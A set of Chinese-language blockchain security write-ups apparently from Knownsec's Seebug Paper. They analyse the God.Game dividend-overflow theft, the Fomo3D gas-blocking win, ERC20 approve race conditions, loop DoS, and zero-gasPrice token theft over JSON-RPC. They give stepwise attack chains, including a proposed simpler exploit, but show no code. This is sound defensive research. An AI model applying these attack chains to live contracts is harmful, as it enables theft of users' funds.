    游戏依然层出不穷,不信邪的人也是接连不断。近日,国内出现了一款类PoWH的银行游戏,在两周的宣传过后,短短数日,就完成了游戏创建、集资、黑客卷钱走人这一整个流程,让无数玩家措手不及。

    时间线

    • 2018年08月19日晚十一点半,宣传良久的区块链赌博游戏God.Game合约被创建于以太坊6176235区块。在之后的两天时间,游戏内加入了大量玩家,合约内存储的以太币也增加到了243eth。
    • 2018年08月21日凌晨一点钟,攻击者经过简单的测试,部署了一个攻击合约。短短几分钟时间,利用游戏合约漏洞,将合约账户的eth洗劫为空。

    知道创宇404区块链安全研究团队得知此事件后,对游戏合约进行了仔细审计,复现了攻击者的手法,接下来,将对整个事件进行完整的分析,并给出一种简洁的利用方式。

    0x01 合约介绍

    智能合约名为God,地址为 0xca6378fcdf24ef34b4062dda9f1862ea59bafd4d,部署于 6176235,发行了名为God币的代币(erc20 token)。

    God.Game主要是一个银行合约,代码有上千行,较为复杂。如果之前对PoWH3D等类似合约有过接触,God便不难理解。下面我们介绍些简单概念。

    ERC20 token

    token代表数字资产,具有价值,通过智能合约发行于区块链上,我们可以称之为代币。符合ERC20协议的代币可以更容易互换,方便的在交易所上市。God币便是符合ERC20协议的代币。

    合约功能

    在God.Game中,你可以通过eth购买token(god币),当你拥有了token,相当于参加了这个游戏。

    • 购买token:会产生一定的手续费,除了主办方会收取一部分外,还有一部分将会均分给所有token持有者,也就是所谓的分红。
    • 转账token:你可以将手中的token转账给他人。
    • 出售token:将手中的token出售为可提款。
    • 提取红利:将分红转为以太币提取出来。
    • 邀请机制:当你拥有多于100个token,将开启邀请系统。他人使用你的地址,你将会获得较多的手续费提成作为分红。【攻击未涉及该功能】

    token与eth的兑换、分红的多少,都与token的总量以及持有者有关,不断变化。

    代码浅析

    我们将简要介绍合约中出现的几个重要变量。

    在开始介绍前,请先记住一个概念:红利由 账户token的价值 - payout 得到,时常变化,而不是记录这个变量

    用户信息

    • token【代币】是确定的数量,用户的token仅可通过自己buy、sell、transfer变动。
    • token * profitPerShare 可以看作是账户token的价值
    • payouts 我们称之为已经用过的钱。【这个定义并不严谨,可以叫控制账户红利的值】
    • token * profitPerShare - payoutsTo_ 可以看作用户在此合约内现在可以使用的钱, 定义为红利。

    合约通过控制payoutsTo的值,来控制用户可用的钱,即红利【用来提eth,或再向God合约购买token】。

    全局变量

    以下变量是全局中浮动的

    重要的临时变量

    dividends = 账户总价值 - 已用的钱【payout】

    dividends这个变量并不存储,不然每当其他参数变动时,需要计算所有人的分红。

    每次使用时,通过myDividends(false)计算,而这个函数在不涉及推荐功能时,仅调用了dividendsOf(address customerAddress)

    这里也是本次攻击的溢出点。

    0x02 漏洞点

    漏洞点有两处,简而言之,是当被转账账户是合约账户时,处理有误造成的。

    计算分红

    从上面得知,分红可用来提eth,或再次购买token。 分红本应永远为正数,这里的减法未使用safeMath,最后还强制转换uint,会造成整数溢出。 我们需要控制payoutsTo和token的关系。

    转账transfer()

    我们看到,如论如何转账,token一定是一方减少,另一方增加,符合代币的特点。

    这里是God中,针对转账双方的账户类型【外部账户、合约账户】采取的不同操作。

    我们会发现,transfer()函数并未对合约账户的payoutsTo进行操作。而是仅修改了contractPayout这个和God合约参数有关的全局变量。

    导致合约账户中 token(很多) * profitPerShare(常量) - payoutsTo(0) 非常大。正常来讲,payoutsTo应该变大,令账户的dividends为 0。

    这种写法非常奇怪,在ERC20的协议中,当被转账账户为合约时,只需要合约拥有该代币的回调函数即可,没有别的要求。

    0x03 攻击链

    这样我们就可以得到大致的攻击链: 再次注意,红利 dividens = token * token价值 - payout(用户已经花了的部分)。 即 可用的钱 = 总价值 - 已用的钱

    1. 攻击者 ==转账==> 攻击合约
      合约状况:
    2. 攻击合约 withdraw()
      合约状况:
    3. 攻击合约 ==转账==> 攻击者
      合约状况:
    4. 攻击合约 reinvest()
      合约状况:

    再投资【使用红利购买token】,通过大量的红利,可以随意购买token,进而sell()+withdraw()提出eth,完成攻击。

    0x04 实际流程

    攻击者首先部署了几个测试的攻击合约,因为一些原因之后未使用,可能仅供测试。

    攻击合约逆向

    知道创宇404区块链安全研究团队使用昊天塔,对攻击者部署的合约进行了逆向,得到了攻击合约大致代码。

    得到的函数列表

    而具体分析函数内容,发现该合约大部分函数都是以本合约发起对God合约的调用,例如:

    对照攻击者交易明细,我们来复现攻击流程。我们假设token对应红利是1:1,便于解释。

    1. 部署攻击合约
      tx:1. 部署合约 攻击者部署合约,准备攻击。 合约地址:0x7F325efC3521088a225de98F82E6dd7D4d2D02f8
    2. 购买token
      tx:2. 购买token 攻击者购买一定量token,准备攻击。
    3. 向攻击合约转账token
      tx:3. transfer(attacker -> attack-contract) 攻击者本身购买了少量token,使用游戏合约中的transfer(),向攻击合约转账。
    4. 攻击合约withdraw()
      tx:4. withdraw() 攻击合约调用了God的withdraw(),攻击合约因此获得了红利对应以太币【不重要】
    5. 攻击合约transfer()
      tx:5. transfer(attack-contract -> attacker) 将token转回,攻击合约token不变,红利溢出。
    6. 攻击合约reinvest()
      tx:6. reinvest() 再投资,将红利买token,可以大量购买token。
    7. 攻击合约sell()
      tx:7. sell() 卖出一部分token,因为发行的token过多,会导致token价值太低,提取以太币较少。
    8. 攻击合约transfer()
      tx:8. transfer(attack-contract -> 受益者) 把智能合约账户的token转给受益者(0xc30e)一部分。
    9. 受益者sell()+withdraw()
      受益者(0xc30e)卖掉token,并withdraw()红利,得到以太币。

    0x05 更简单的攻击手法

    回顾上述攻击流程,攻击成立主要依赖红利由 token - payout 得到,时常变化,而不是记录这个特性。

    在交易token时,变化的只是双方持有的token数,双方的红利应该不变,换言之,就是用户的payout也需要变化才能保证红利变化。

    漏洞就在于在用户和合约交易token时,合约方的payout并没有相应的增加,导致红利平白无故的多出来,最终导致了凭空生币。

    这样一来,我们就可以使用更简单的攻击手法。

    下面是详细的介绍:

    1. 攻击者 ==转账==> 攻击合约
      合约收到转账时,红利本应为0,却变得很多,账户可用资金变得很多。
    2. 攻击合约 withdraw()
      把可用的钱提款为eth,token不变。
    3. 攻击合约 ==转账==> 攻击者
      token原路返回攻击者,token不变,但合约中多出了 eth 。

    我们发现智能合约在这个过程中,因为接受转账未增加payout,导致在第二步中可以提取不少的以太币,并在第三步将token原路转回。 这一过程,合约账户便可凭空得到以太币。而只需要支付一部分手续费以及token的轻微贬值。如此反复创建新的合约,并按以上步骤,可以提出God.Game中大量的以太币。

    注意事项

    此攻击方法理论成立,还需仔细考察手续费和token价值变化等细节问题,但从合约中提取部分以太币是可行的。

    具体分析

    1. 购买token
      攻击者购买一定量token,准备攻击。
    2. 向攻击合约转账token
      攻击者本身购买了少量token,使用游戏合约中的transfer(),向攻击合约转账。
    3. 攻击合约调用 withdraw()
      withdraw() 的主要逻辑如下:
      攻击合约调用withdraw(),通过以太币的形式取出利息 dividents。
    4. 攻击合约transfer()
      将token转回,攻击者token恢复为1000。

    0x06 总结

    以上就是God.Game合约的分析,以及本次攻击的复现。这次攻击的发生距离合约部署仅有两天,整个攻击流程非常巧妙。按照前面的分析,仅通过合约账户的withdraw()就可以提出以太币。但攻击者还利用了红利溢出,进而获得了大量的token。根据上面多方面因素,虽然主办方在事件发生后声明自己是受害者。但是根据telegram上记录,主办方在游戏开始之前就再未查看玩家群。这些现像,引人深思。

    区块链游戏看似充满诱惑,实则迷雾重重。无论如何谨慎,都有可能跌入深渊。谁也不知道游戏背后的创建者究竟有什么打算,但人皆贪婪,有钱财的地方,必有隐患。

    0x07 相关链接


    智能合约审计服务

    针对目前主流的以太坊应用,知道创宇提供专业权威的智能合约审计服务,规避因合约安全问题导致的财产损失,为各类以太坊应用安全保驾护航。

    知道创宇404智能合约安全审计团队: https://www.scanv.com/lca/index.html

    联系电话:(086) 136 8133 5016(沈经理,工作日:10:00-18:00)

    欢迎扫码咨询:

    区块链行业安全解决方案

    黑客通过DDoS攻击、CC攻击、系统漏洞、代码漏洞、业务流程漏洞、API-Key漏洞等进行攻击和入侵,给区块链项目的管理运营团队及用户造成巨大的经济损失。知道创宇十余年安全经验,凭借多重防护+云端大数据技术,为区块链应用提供专属安全解决方案。

    欢迎扫码咨询:


    附录1 此次事件相关地址

    • God合约创建者 0x802dF0C73EB17E540b39F1aE73C13dcea5A1CAAa
    • God合约地址 0xCA6378fcdf24Ef34B4062Dda9F1862Ea59BaFD4d
    • 最终以太币存储的账户 0xC30E89DB73798E4CB3b204Be0a4C735c453E5C74
    • 攻击者 0x2368beb43da49c4323e47399033f5166b5023cda
    • 攻击合约 0x7f325efc3521088a225de98f82e6dd7d4d2d02f8

    附录2 God.Game合约的函数分析

    • buy() - 购买token

    • sell() - 出售token

    未使用的分红增加,可用来withdraw(提款)或reinvest(再投资)。

    • withdraw() - 将分红清0,分红换为eth取出

    清零分红,获得相应的eth。

    • reinvest() - 再投资

    消耗掉账户的分红,换成token。

    • transfer() - 转账

    from:

    to:

    附录3 根据昊天塔逆向结果,构造的攻击合约


    Paper本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/683/

    作者:Nanako | Categories:安全研究安全科普 | Tags:
  • 智能合约游戏之殇——类 Fomo3D 攻击分析

    2018-08-29

    作者:LoRexxar'@知道创宇404区块链安全研究团队
    时间:2018年8月23日

    2018年8月22日,以太坊上异常火爆的Fomo3D游戏第一轮正式结束,钱包开始为0xa169的用户最终拿走了这笔约10,469 eth的奖金,换算成人民币约2200万。

    看上去只是一个好运的人买到了那张最大奖的“彩票”,可事实却是,攻击者凭借着对智能合约原理的熟悉,进行了一场精致的“攻击”!

    这次攻击的结果,也直接影响了类Fomo3D的所有游戏,而且无法修复,无法避免,那么为什么会这样呢?

    类Fomo3D

    在分析整个事件之前,我们需要对类Fomo3D游戏的规则有一个基本的认识。

    Fomo3D游戏最最核心的规则就是最后一个购买的玩家获得最大的利益

    其中主要规则有这么几条:

    • 游戏开始有24小时倒计时
    • 每位玩家购买,时间就会延长30s
    • 越早购买的玩家,能获得更多的分红
    • 最后一个购买的玩家获得奖池中48%的eth

    其中还有一些细致的规则:

    • 每位玩家购买的是分红权,买的越多,分红权就会越多
    • 每次玩家购买花费的eth会充入奖金池,而之前买过的玩家会获得分红
    • 随着奖池的变化,key的价格会更高

    换而言之,就是越早买的玩家优势越大。

    最终,资金池里的 ETH 48%分配给获胜者, 2%分配给社区基金会,剩余的 50%按照四种团队模式进行分配。

    游戏规则清楚之后,就很容易明白这个游戏吸引人的地方在哪,只要参与的人数够多,有人存在侥幸心理,就会有源源不断的人投入到游戏中。游戏的核心就在于,庄家要保证游戏规则的权威性,而区块链的可信以及不可篡改性,正是完美的匹配了这种模式。

    简单来说,这是一个基于区块链可信原则而诞生的游戏,也同样是一场巨大的社会实验。

    可,问题是怎么发生的呢?让我们一起来回顾一下事件。

    事件回顾

    2018年8月22日,以太坊上异常火爆的Fomo3D游戏第一轮正式结束,钱包开始为0xa169的用户最终拿走了这笔约10,469 eth的奖金。

    看上去好像没什么问题,但事实真的是这样吗

    在Fomo3D的规则基础上,用户a169在购买到最后一次key之后,游戏的剩余时间延长到了3分钟,在接下来的3分钟内,没有任何交易诞生。这3分钟时间,总共有12个区块被打包。但没有任何一个Fomo3D交易被打包成功。

    除此之外,这部分区块数量也极少,而且伴随着数个合约交易失败的例子

    这里涉及到最多的就是合约0x18e1B664C6a2E88b93C1b71F61Cbf76a726B7801,该合约在开奖的那段时间连续的失败交易,花费了巨量的手续费。

    而且最重要的是,该合约就是上面最后拿到Fomo3D大奖的用户所创建的

    在这期间的每个区块中,都有这个合约发起的巨额eth手续费的请求。

    攻击用户通过这种方式,阻塞了其他游戏者购买的交易,最后成功拿到了大奖。

    那么为什么呢?

    事件原理

    在解释事件发生原理之前,我们需要先了解一下关于区块链底层的知识。

    以太坊约14s左右会被挖出一个区块,一个区块中会打包交易,只有被打包的交易才会在链上永不可篡改。

    所以为了奖励挖出区块的矿工,区块链上的每一笔交易都会消耗gas,这部分钱用于奖励矿工,而矿工会优先挑选gas消耗比较大的交易进行打包以便获得更大的利益,目前,一个区块的gas上限一般为8000000。

    而对于每一笔交易来说,交易发起者也可以定义gas limit,如果交易消耗的gas总值超过gas limit,该交易就会失败,而大部分交易,会在交易失败时回滚

    为了让交易不回滚,攻击者还使用了一个特殊的指令assert(),这是一个类似于require的函数,他和require唯一的区别就是,当条件不满足时,assret会耗光所有的gas。原理是因为在EVM底层的执行过程中,assret对应一个未定义过的操作符0xfe,EVM返回invalid opcode error,并报错结束。

    而攻击者这里所做的事情呢,就是在确定自己是最后一个key的持有者时,发起超大gasprice的交易,如图所示:

    当攻击者不断的发起高手续费的交易时,矿工会优先挑选这些高花费的交易打包,这段时间内,其他交易(包括所有以太坊链上发起的交易、Fomo3D的交易)都很难被矿工打包进入。这样一来,攻击者就有很高的概率成为最后一个持有key的赢家

    整个攻击流程如下:

    1. Fomo3D倒计时剩下3分钟左右
    2. 攻击者购买了最后一个key
    3. 攻击者通过提前准备的合约发起大量消耗巨量gas的垃圾交易
    4. 3分钟内不断判断自己是不是最后一个key持有者
    5. 无人购买,成功获得大奖

    在支付了大量以太币作为手续费之后,攻击者赢得了价值2200万人民币的最终大奖。

    总结

    自智能合约游戏中以类Fomo3D诞生之后,这类游戏就不断成为人们眼中的焦点,精巧的规则设计和社会原理再加上区块链特性,组成了这个看上去前景无限的游戏。Fomo3D自诞生以来就不断成为人们眼中的焦点,类Fomo3D游戏不断丛生。

    随之而来的是,有无数黑客也在盯着这块大蛋糕,除了Fomo3D被盗事件以外, Last Winner等类Fomo3D也被黑产盯上...短短时间内,攻击者从中获利无数。

    而我们仔细回顾事件发生的原因,我们却不难发现,类Fomo3D游戏核心所依赖的可信、不可篡改原则和区块链本身的特性矿工利益最优原则冲突,也就是说,只要矿工优先打包高手续费的交易,那么交易的顺序就是可控的!,那么规则本身就是不可信赖的。

    当你还在寻求棋局中的出路时,却发现棋盘已经不存在了。

    当Fomo3D游戏失去了自己的安全、公平之后,对于试图从中投机的你,还会相信自己会是最后的赢家吗?


    智能合约审计服务

    针对目前主流的以太坊应用,知道创宇提供专业权威的智能合约审计服务,规避因合约安全问题导致的财产损失,为各类以太坊应用安全保驾护航。

    知道创宇404智能合约安全审计团队: https://www.scanv.com/lca/index.html
    联系电话:(086) 136 8133 5016(沈经理,工作日:10:00-18:00)

    欢迎扫码咨询:

    区块链行业安全解决方案

    黑客通过DDoS攻击、CC攻击、系统漏洞、代码漏洞、业务流程漏洞、API-Key漏洞等进行攻击和入侵,给区块链项目的管理运营团队及用户造成巨大的经济损失。知道创宇十余年安全经验,凭借多重防护+云端大数据技术,为区块链应用提供专属安全解决方案。

    欢迎扫码咨询:

    REF

    [1] Fomo3D https://exitscam.me/play

    [2] 获利交易https://etherscan.io/tx/0xe08a519c03cb0aed0e04b33104112d65fa1d3a48cd3aeab65f047b2abce9d508

    [3] 攻击合约https://etherscan.io/address/0x18e1b664c6a2e88b93c1b71f61cbf76a726b7801

    [4] Fomo3D 千万大奖获得者“特殊攻击技巧”最全揭露https://mp.weixin.qq.com/s/MCuGJepXr_f18xrXZsImBQ

    [5] 「首次深度揭秘」Fomo3D,被黑客拿走的2200万https://mp.weixin.qq.com/s/s_RCF_EDlptQpm3d7mzApA


    Paper本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/681/

    作者:Nanako | Categories:安全研究技术分享 | Tags:
  • 以太坊合约审计 CheckList 之“以太坊智能合约设计缺陷问题”影响分析报告

    2018-08-29

    作者:LoRexxar'@知道创宇404区块链安全研究团队
    时间:2018年8月22日
    本系列上一篇:《以太坊合约审计 CheckList 之“以太坊智能合约规范问题”影响分析报告》

    一、 简介

    在知道创宇404区块链安全研究团队整理输出的《知道创宇以太坊合约审计CheckList》中,把“条件竞争问题”、“循环DoS问题”等问题统一归类为“以太坊智能合约设计缺陷问题”。

    “昊天塔(HaoTian)”是知道创宇404区块链安全研究团队独立开发的用于监控、扫描、分析、审计区块链智能合约安全自动化平台。我们利用该平台针对上述提到的《知道创宇以太坊合约审计CheckList》中“以太坊智能合约设计缺陷”类问题在全网公开的智能合约代码做了扫描分析。详见下文:

    二、漏洞详情

    1、条件竞争

    2016年11月29号,Mikhail Vladimirov和Dmitry Khovratovich公开了一篇《ERC20 API: An Attack Vector on Approve/TransferFrom Methods》,在文章中提到了一个在ERC20标准中存在的隐患问题,条件竞争

    这里举一个approve函数中会出现的比较典型的例子,approve一般用于授权,比如授权别人可以取走自己的多少代币,整个流程是这样的:

    1. 用户A授权用户B 100代币的额度
    2. 用户A觉得100代币的额度太高了,再次调用approve试图把额度改为50
    3. 用户B在待交易处(打包前)看到了这笔交易
    4. 用户B构造一笔提取100代币的交易,通过条件竞争将这笔交易打包到了修改额度之前,成功提取了100代币
    5. 用户B发起了第二次交易,提取50代币,用户B成功拥有了150代币

    想要理解上面这个条件竞争的原理,首先我们得对以太坊的打包交易逻辑有基础认识。

    https://medium.com/blockchannel/life-cycle-of-an-ethereum-transaction-e5c66bae0f6e

    简单来说就是

    1. 只有当交易被打包进区块时,他才是不可更改的
    2. 区块会优先打包gasprice更高的交易

    所以当用户B在待打包处看到修改的交易时,可以通过构造更高gasprice的交易来竞争,将这笔交易打包到修改交易之前,就产生了问题。

    以下代码就存在条件竞争的问题

    2、循环DoS问题

    在以太坊代码中,循环是一种很常见的结构,但由于以太坊智能合约的特殊性,在循环也有很多需要特别注意的点, 存在潜在的合约问题与安全隐患。

    1) 循环消耗问题

    在以太坊中,每一笔交易都会消耗一定的gas,而交易的复杂度越高,则该交易的gasprice越高。而在区块链上,每个区块又有最大gas消耗值限制,且在矿工最优化收益方案中,如果一个交易的gas消耗过大,就会倾向性把这个交易排除在区块外,从而导致交易失败。

    所以,对于合约内的循环次数不宜过大,在循环中的代码不宜过于复杂。

    如果上述代码地址列表过长,就有可能导致交易失败。

    2018年7月23日,Seebug Paper发表的《首个区块链 token 的自动化薅羊毛攻击分析》中攻击合约就提到了这种gas优化方式。

    2) 循环安全问题

    在以太坊中,应该尽量避免循环次数受到用户控制,攻击者可能会使用过大的循环来完成Dos攻击。

    当攻击者通过不断添加address列表长度,来迫使该函数执行循环次数过多,导致合约无法正常维护,函数无法执行。

    2016年,GovernMental合约代币被爆出恶意攻击,导致地址列表过长无法执行,超过1100 ETH被困在了合约中。

    三、漏洞影响范围

    使用Haotian平台智能合约审计功能可以准确扫描到该类型问题。

    基于Haotian平台智能合约审计功能规则,我们对全网的公开的共39548 个合约代码进行了扫描,其中共24791个合约涉及到这类问题。

    1、 条件竞争

    截止2018年8月10日为止,我们发现了22981个存在approve条件竞争的合约代码,其中15325个合约仍处于交易状态,其中交易量最高的10个合约情况如下:

    2、 循环DoS问题

    截止2018年8月10日为止,我们发现了1810个存在潜在循环dos问题的合约代码,其中1740个合约仍处于交易状态,其中交易量最高的10个合约情况如下:

    四、修复方式

    1)条件竞争

    关于这个问题的修复方式讨论很多,由于这属于底层特性的问题,所以很难在智能合约层面做解决,在代码层面,我们建议在approve函数中加入

    将这个条件加入,在每次修改权限时,将额度修改为0,再将额度改为对应值。

    在这种情况下,合约管理者可以通过日志或其他手段来判断是否有条件竞争发生,从风控的角度警醒合约管理者注意该问题的发生。范例代码如下:

    2)循环DoS问题

    在面临循环DoS问题产生的场景中,最为常见的就是向多个用户转账这个功能。

    这里推荐代码中尽量避免用户可以控制循环深度,如果无法避免的话,尽量使用类似withdrawFunds这种函数,循环中只分发用户提币的权限,让用户来提取属于自己的代币,通过这种操作可以大幅度节省花费的gas开支,也可以一定程度避免可能导致的问题。代码如下所示:

    五、一些思考

    在分析了许多智能合约已有的漏洞以及合约以后,我发现有一类问题比较特殊,这些问题的诞生根本原因都是因为以太坊智能合约本身的设计缺陷,再加上开发者对此没有清晰的认识,导致了合约本身的一些隐患。

    文章中提到的条件竞争是个比较特殊的问题,这里的条件竞争涉及到了智能合约底层实现逻辑,本身打包逻辑存在条件竞争,我们无法在代码层面避免这个问题,但对于开发者来说,比起无缘无故的因为该问题丢失代币来说,更重要的是合约管理者可以监控到每一笔交易的结果,所以我们加入置0的操作来提醒合约管理者、代币持有者该问题,尽量避免这样的操作发生。

    而循环Dos问题就是一个针对开发者的问题,每一次操作就是一次交易,每次交易就要花费gas,交易越复杂花费的gas越多,而在区块链上,每个区块又有最大gas消耗值限制,且在矿工最优化收益方案中,如果一个交易的gas消耗过大,就会倾向性把这个交易排除在区块外,从而导致交易失败。这也就直接导致了在交易中,我们需要尽可能的优化gas花费,避免交易失败。

    我们在对全网公开的合约代码进行扫描和监控时容易发现,有很大一批开发人员并没有注意到这些问题,其中条件竞争问题甚至影响广泛,有超过一半以上的公开代码都受到影响。

    这里我们建议所有的开发者重新审视自己的合约代码,检查是否存在设计缺陷问题,避免不必要的麻烦以及安全问题。


    智能合约审计服务

    针对目前主流的以太坊应用,知道创宇提供专业权威的智能合约审计服务,规避因合约安全问题导致的财产损失,为各类以太坊应用安全保驾护航。

    知道创宇404智能合约安全审计团队: https://www.scanv.com/lca/index.html
    联系电话:(086) 136 8133 5016(沈经理,工作日:10:00-18:00)

    欢迎扫码咨询:

    区块链行业安全解决方案

    黑客通过DDoS攻击、CC攻击、系统漏洞、代码漏洞、业务流程漏洞、API-Key漏洞等进行攻击和入侵,给区块链项目的管理运营团队及用户造成巨大的经济损失。知道创宇十余年安全经验,凭借多重防护+云端大数据技术,为区块链应用提供专属安全解决方案。

    欢迎扫码咨询:

    六、REF


    Paper本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/679/

    作者:Nanako | Categories:安全研究安全科普 | Tags:
  • 以太坊 “后偷渡时代” 盗币之 “拾荒攻击”

    2018-08-29

    作者:Sissel@知道创宇404区块链安全研究团队
    时间:2018年8月20日
    英文版:https://paper.seebug.org/687/

    0x00 前言

    2018年08月01日,知道创宇404区块链安全研究团队发布《金钱难寐,大盗独行——以太坊 JSON-RPC 接口多种盗币手法大揭秘》,针对 偷渡漏洞 和 后偷渡时代的盗币方式 进行了介绍,披露了 后偷渡时代 的三种盗币方式:离线攻击、重放攻击和爆破攻击。

    在进一步的研究中,我们又发现了针对这些攻击方式的补充:拾荒攻击。攻击者或求助于矿工,或本身拥有一定算力以获得将交易打包进区块的权利。在偷渡漏洞中,攻击者在被攻击节点构造gasPrice为 0 的交易,等待用户解锁账户签名广播。攻击者同时设置一个恶意节点,用于接收这笔交易。攻击者将符合条件的交易打包,就可以实现 0 手续费完成转账。通过这种攻击,攻击者可以获取到余额不足以支付转账手续费或勉强足够支付手续费节点上的所有以太币,并在一定程度上可以防止其他攻击者的竞争,可谓是 薅羊毛 的典范。

    除此之外,在薅够以太币残羹之后,攻击者又盯上了这些以太币已被盗光,但账户中残留的代币。直到现在,针对许多智能合约发行的代币,一些被攻击账户中的token,仍在小额地被攻击者以拾荒攻击盗走。

    本文将从一笔零手续费交易谈起,模拟复现盗币的实际流程,对拾荒攻击成功的关键点进行分析。

    0x01 从一笔零手续费交易谈起

    在区块链系统中,每一笔交易都应该附带一部分gas以及相应的gasPrice作为手续费,当该交易被打包进区块,这笔手续费将用来奖励完成打包的矿工。

    《金钱难寐,大盗独行——以太坊 JSON-RPC 接口多种盗币手法大揭秘》中,我们提到了一个利用以太坊JSON-RPC接口的攻击者账号0x957cD4Ff9b3894FC78b5134A8DC72b032fFbC464。该攻击者在公网中扫描开放的RPC端口,构造高手续费的交易请求,一旦用户解锁账户,便会将用户余额转至攻击者的账户或攻击者创建的合约账户。

    在分析该账户交易信息的时候,我们发现了一笔不符合常识的交易,先从这笔交易开始谈起。

    交易地址:0xb1050b324f02e9a0112e0ec052b57013c16156301fa7c894ebf2f80ac351ac22

    0x00a329c0648769a73afac7f9381e08fb43dbea72向合约MinereumToken(攻击者的合约)的交易,虽然用户余额很少,但这笔交易使用了该账户所有余额作为value与合约交互,这笔交易使用了正常数量的gas,但它的gasPrice被设定为0。

    前文提到,攻击者会使用较高的手续费来保证自己的交易成功,矿工会按照本节点的txpool中各交易的gasPrice倒序排列,优先将高gasPrice交易打包进之后的区块。在这个世界上每时每刻都在发生着无数笔交易,在最近七日,成交一笔交易的最低gasPrice是3Gwei。这笔零手续费交易究竟是如何发生,又是如何打包进区块的呢。

    0x02 思路分析

    在区块链系统中,任何人都可以加入区块链网络,成为其中一个节点,参与记账、挖矿等操作。保证区块链的可信性和去中心化的核心便是共识机制

    共识机制

    在以太坊中,矿工将上一区块的哈希值、txpool中手续费较高的交易、时间戳等数据打包,不断计算nonce来挖矿,最先得出符合条件的nonce值的矿工将拥有记账权,得到手续费和挖矿奖励。矿工将广播得到的区块,其他节点会校验这一区块,若无错误,则认为新的区块产生,区块链高度增加。这就是各节点生成新区块保持共识的过程。

    将0 gasPrice交易完成需要确认两个问题

    • 矿工是否会接受这个交易,并将其打包
    • 其余节点接收到含此交易的区块,是否会达成共识

    下面我们来对0 gasPrice交易相关的操作进行测试。了解零手续费的交易如何产生,如何被txpool接受,打包了零手续费交易的区块能否被认可,确认上述问题的答案。

    0x03 零手续费交易测试

    a. 单节点测试

    首先,我们来确认此交易是否可以进入节点的txpool中,启用一个测试链。默认rpc端口是8545,使用python的web3包发起一笔0 gasPrice转账。

    节点一发起转账的脚本,转帐前要解锁账户

    交互结果

    节点一发起的零手续费交易成功,并且挖矿后成功将该交易打包进区块中。

    b. 多节点共识测试

    现在加入另一个节点

    节点一仍使用刚才的脚本发起零手续费交易,节点一的txpool中成功添加,但节点二因为gasPrice非法拒绝了此交易。

    在geth的配置中发现了与此相关的参数

    将其启动时改为0,但节点二的txpool中仍未出现这笔交易。

    阅读源码知,此参数确实是控制txpool增加的交易的最低gasPrice,但不能小于1。

    令节点一(txpool中含0 gasPrice)开始挖矿,将该交易打包进区块后,发现节点二认可了此区块,达成共识,两节点高度均增长了。

    得到结论:

    • 零手续费交易,通常情况下只有发起者的txpool可以接收,其余节点无法通过同步此交易。如若需要,必须进行修改geth源码等操作。
    • 虽然这笔交易无法进入其他节点的txpool,但对于含此交易的区块,可以达成共识。

    我们将进行简要的源代码分析,支持我们的结论。

    0x04 源码分析

    (以下的代码分析基于https://github.com/ethereum/go-ethereum的当前最新提交:commit 6d1e292eefa70b5cb76cd03ff61fc6c4550d7c36)

    以太坊目前最流行的节点程序(Geth/Parity)都提供了RPC API,用于对接矿池、钱包等其他第三方程序。首先确认一下节点在打包txs时,代码的实现。

    i. 交易池

    代码路径:./go-ethereum/core/tx_pool.go

    生成一个tx实例时,发现有对gasPrice的最低要求,具体在这个函数中会拒绝接收此交易。

    ii. 移除低于阈值的交易

    代码路径:./go-ethereum/core/tx_list.go 并且在处理txs中,会将低于阈值的交易删除,但本地的交易不会删除。


    以上部分为区块链网络内一节点,尝试接收或加入 0 gasPrice 的交易时,会有部分过滤或规则限制。但通过修改源码,我们依然可以做到将 0 gasPrice 的交易合法加入到区块中,并进行之后的nonce计算。下面继续源码分析,考察通过此方式得到的区块,是否可以被其他节点接受,达成共识。

    iii. 共识校验

    代码路径:./go-ethereum/consensus/consensus.go 这是geth中,提供的共识算法engine接口

    查看VerifySeal(),发现校验了如下内容:

    • 不同模式下的一些特殊处理
    • 难度是否合法
    • nonce值是否合法
    • gas值是否合法

    可以看到,其他节点针对共识,检查了签名、nonce等内容,对于其中零手续费的交易没有检验。换句话说,零手续费的交易虽然不能激励矿工,但它依然是合法的。

    0x05 利用流程

    攻击者首先以偷渡漏洞利用的方式,构造零手续费,正常的transfer交易。待用户解锁账户后,广播交易。具体流程见下图:

    0x06 小结

    由此我们可以得出,0 gasPrice这样的特殊交易,有如下结论:

    • 通常情况下,0 gasPrice可通过节点自身发起加入至txpool中。
    • 以 geth 为例,修改geth部分源码重新编译运行,该节点方可接受其他节点发出的特殊交易(目标账户发起的0 gasPrice交易)。此为攻击者需要做的事情。
    • 0 gasPrice的交易可以打包进区块,并且符合共识要求。

    因为json-rpc接口的攻击方式中,攻击者可以通过偷渡漏洞签名 0 gasPrice交易并广播。通过收集此类0 gasPrice交易并添加至部分矿工的txpool中,当该矿工挖出一个新的区块,这类交易也将会被打包。即攻击者可能与部分矿工联手,或攻击者本身就有一定的运算能力,让矿工不再遵循诚实挖矿维护区块链系统的原则,

    0x07 利用价值及防御方案

    因为零手续费交易的出现,诸多低收益的攻击都将拥有意义。

    提高收益

    攻击者可以通过此种方式,结合其他的攻击手法,将被攻击账户中的余额全部转出,达到了收益最大化。

    羊毛薅尽

    依照《金钱难寐,大盗独行——以太坊 JSON-RPC 接口多种盗币手法大揭秘》中提到的攻击方式,对于账户余额较少,甚至不足以支付转账手续费的情况,可通过上文提到的薅羊毛式攻击方案,将账户中的残羹收入囊中。由于此交易gasPrice为0,可在一区块中同时打包多个此类型交易,例如此合约下的多组交易:0x1a95b271b0535d15fa49932daba31ba612b52946,此区块中的几笔交易:4788940

    偷渡代币

    在被盗账户已无以太币的情况下,攻击者发现这些账户还存有部分智能合约发行的代币。没有以太币便不能支付gas进行转账,零手续费交易可以完美解决这个问题。直到现在,有诸多无以太币的被攻击账户,仍在被此方式转账代币。

    防御方案

    由于0 gasPrice交易只是扩展其他攻击方案的手法,还应将防御着眼在之前json-rpc接口利用。

    • 对于有被偷渡漏洞攻击的痕迹或可能曾经被偷渡漏洞攻击过的节点,建议将节点上相关账户的资产转移到新的账户后废弃可能被攻击过的账户。
    • 建议用户不要使用弱口令作为账户密码,如果已经使用了弱口令,可以根据1.2节末尾的内容解出私钥内容,再次通过 geth account import 命令导入私钥并设置强密码。
    • 如节点不需要签名转账等操作,建议节点上不要存在私钥文件。如果需要使用转账操作,务必使用 personal_sendTransaction 接口,而非 personal_unlockAccount 接口。

    0x08 影响规模

